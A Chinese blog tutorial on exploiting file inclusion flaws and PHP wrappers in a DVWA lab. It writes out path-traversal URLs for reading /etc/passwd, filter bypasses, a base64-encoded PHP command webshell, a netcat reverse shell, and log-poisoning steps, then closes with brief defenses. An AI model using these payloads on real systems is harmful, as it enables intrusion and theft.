• 渗透测试-文件包含漏洞以及php伪协议的应用


    文件包含漏洞以及php伪协议的应用

    前言

    文件包含漏洞也属于注入漏洞的一种,但跟以往的注入漏洞方式又不一样,接下来给大家介绍该漏洞实现的几种方式,以及绕过方式,php伪协议是如何应用的,都会给大家做演示

    一、文件包含漏洞

    文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行,代码注入的典型代表就是文件包含File inclusion。文件包含可能会出现在jsp、php、asp等语言中。服务器通过函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。

    常见的文件包含的函数如下:

    PHP:include() 、include_once()、require()、require_once()、fopen()、readfile()

    JSP/Servlet:ava.io.file()、java.io.filereader()

    ASP:include file、include virtual

    • Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
    • Require:跟include唯一不同的是,当产生错误时候,include会继续运行而require停止运行。
    • Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。
    • Require_once:这个函数跟require函数作用几乎相同,与include_once和include类似。
    • php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。php4存在远程包含&本地包含,php5仅存在本地包含。

    使用上面几个函数包含文件时,该文件将作为PHP代码执行,PHP内核并不在意被包含的文件是什么类型的。也就是说我们用这几个函数包含.jpg文件时,也会将其当做php文件来执行

    只要allow_url_include=On(远程文件包含)、allow_url_fopen=On(本地文件包含)处于打开状态,就存在包含漏洞

    顾名思义,就是在本机上包含文件的,叫做本地包含,若是page="外部的url"的话就是远程包含

    本地包含案例演示

    我们在kali的网页目录新建一个a.php文件,网页目录路径为/var/www/html
    文件内的内容为:

    是一个典型的存在包含漏洞的代码
    我们打开本地浏览器访问
    http://192.168.171.128/a.php?page=file:///etc/passwd
    http://192.168.171.128/a.php?page=…/…/…/…/…/…/…/…/etc/passwd
    http://192.168.171.128/a.php?page=…/…/…/…/…/…/…/…/etc/motd
    在这里插入图片描述
    我们访问mysql的配置文件
    http://192.168.171.128/a.php?page=…/…/…/…/…/…/…/…/etc/mysql/my.cnf
    在这里插入图片描述
    这就是典型的文件包含漏洞,没有对特定的符号进行过滤和转义,就会出现这种漏洞。
    我们使用dvwa作为演示,以dvwa低级为例

    dvwa(低级)

    在这里插入图片描述
    http://192.168.171.128/dvwa/vulnerabilities/fi/?page=file1.php
    我们输入
    http://192.168.171.128/dvwa/vulnerabilities/fi/?page=…/…/…/…/…/…/…/etc/passwd
    (这里添加多个…/是为了能回到根目录)
    在这里插入图片描述
    因为不是php文件,没有执行,就直接显示在页面上了,如果是php文件的话,先执行,后显示

    dvwa(中级)

    在这里插入图片描述
    当我们在输入这个的时候,发现没有回显,说明被过滤了
    http://192.168.171.128/dvwa/vulnerabilities/fi/?page=…/…/…/…/…/…/…/etc/passwd
    在这里插入图片描述
    我们可以进行双写进行绕过
    (过滤…/和http://)
    http://192.168.171.128/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/passwd
    hthttp://tp://192.168.171.128/shell.php(反弹shell)黑名单过滤

    我们重新输入
    http://192.168.171.128/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/passwd在这里插入图片描述
    发现回显成功了

    dvwa(高级)

    当我们在输入双写的做法时,发现也没有回显了,是因为已经过滤了http头了,我们可以使用file:///etc/passwd进行绕过
    http://192.168.171.128/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
    在这里插入图片描述
    发现回显成功,也成功绕过了。

    二、php伪协议

    1. data://text/plain

    当我们本地写不进去,远程又包含不了,怎么办呢,这时我们就需要用到php伪协议了也称封装器,直接写入代码执行。

    我们先输入明文试试
    http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,helloworld
    在这里插入图片描述
    发现回显成功了,就在左上角那里有个helloworld。
    我们再试试输入执行命令的代码
    http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,
    在这里插入图片描述
    回显成功了

    我们尝试监听,并反弹shell
    我们输入
    http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,(监听的是1234端口)
    在这里插入图片描述
    连接上了,但是返回不了shell
    我们尝试使用-e /bin/bash参数反弹shell
    http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,
    在这里插入图片描述
    反弹成功,万一要是在其他系统里反弹不了,怎么办,这里有另外一种方法,就是管道传输

    我们输入
    http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,
    这里解释一下这个参数是怎么回事
    nc 192.168.171.128 1234|/bin/bash|nc 192.168.171.128 1235
    (就是把目标机器的1234端口执行完后,将数据传输到/bin/bash(shell)后,经过shell执行后在将结果输送到1235端口进行输出)

    我们看一下效果,我们先让两个端口进行监听
    在这里插入图片描述
    在这里插入图片描述
    反弹shell成功,就是在左边输入命令,右边就会输出信息。

    当然,在实际工作中,一旦出现了明文注入,就会被检测的到,这时我们就要进行编码绕过,这里进行base64编码演示一下

    (分号后面编码时要加空格)

    http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,

    base64编码后
    http://192.168.171.128/dvwa/vulnerabilities/fi/?
    page=data://text/plain;base64,PD9waHAgZWNobyBzaGVsbF9leGVjKCJpZCIpOyA/Pg==
    在这里插入图片描述
    回显成功了在这里插入图片描述

    我们在输入
    http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,

    进行编码后得到
    PD9waHAgZWNobyBzaGVsbF9leGVjKCJpZCIpOyA/Pg==

    我们重新输入
    http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain;base64,PD9waHAgJHZhcj1zaGVsbF9leGVjKCRfR0VUWydjbWQnXSk7IGVjaG8gJHZhciA/Pg==&cmd=id
    (因为后面要通过cmd,输入东西,所以要加上&cmd=id)
    在这里插入图片描述
    发现也成功回显成功了。

    2. php://input

    这里就要用到burp抓包工具了
    我们输入
    http://192.168.171.1/dvwa/vulnerabilities/fi/?page=php://input
    在这里插入图片描述
    我们进行重发,插入一段php代码

    在这里插入图片描述
    注入成功了,我们只要向其输入执行的命令语句,在右边就会显示出信息了。

    3. 本地文件包含漏洞利用技巧

    • 包含用户上传的文件 (我们上传的一句话木马等等)
    • 包含data:// 或 php://input 等伪协议
    • 包含 Session 文件
    • 包含日志文件 ( 通过构造语句让服务器报错并将一句话随报错信息写入日志;找到日志文件路径,包含此文件;用菜刀连接;拿下网站的Webshell )

    三、文件包含漏洞防御方法

    在php中,文件包含需要配置 allow_url_include=On(远程文件包含)、allow_url_fopen=On(本地文件包含) 。所以,我们可以将其关闭,这样就可以杜绝文件包含漏洞了。但是,某些情况下,不能将其关闭,必须进行包含的话,我们可以使用白名单过滤的方法,只能包含我们指定的文件。这样,就可以杜绝文件包含漏洞了

    总结

    通过实验我们总结了文件包含漏洞以及php伪协议的相关利用方法,以及如何进行编码绕过的方法,大家好好复习一下。

  • 相关阅读:
    谈一谈 Android Application 的理解
    JVM原理及优化_垃圾回收算法
    Typora+picgo-core+gitee配置图床
    开源工具 | ASV-Subtools更新:runtime模块重磅发布
    QT5.14.2+cmake3.8.2+opencv3.4.0环境配置遇到的问题
    VC6创建工程的各种类型
    C语言部分复习笔记
    使用宝塔面板部署商城项目到云服务器的案例
    实时显示当前文件夹下的文件大小,shell脚本实现
    学习java的第三十九天,Callable多线程接口、静态代理、lambda表达式、线程状态、线程停止、线程休眠、线程强制执行的基础认知
  • 原文地址:https://blog.csdn.net/lza20001103/article/details/125898458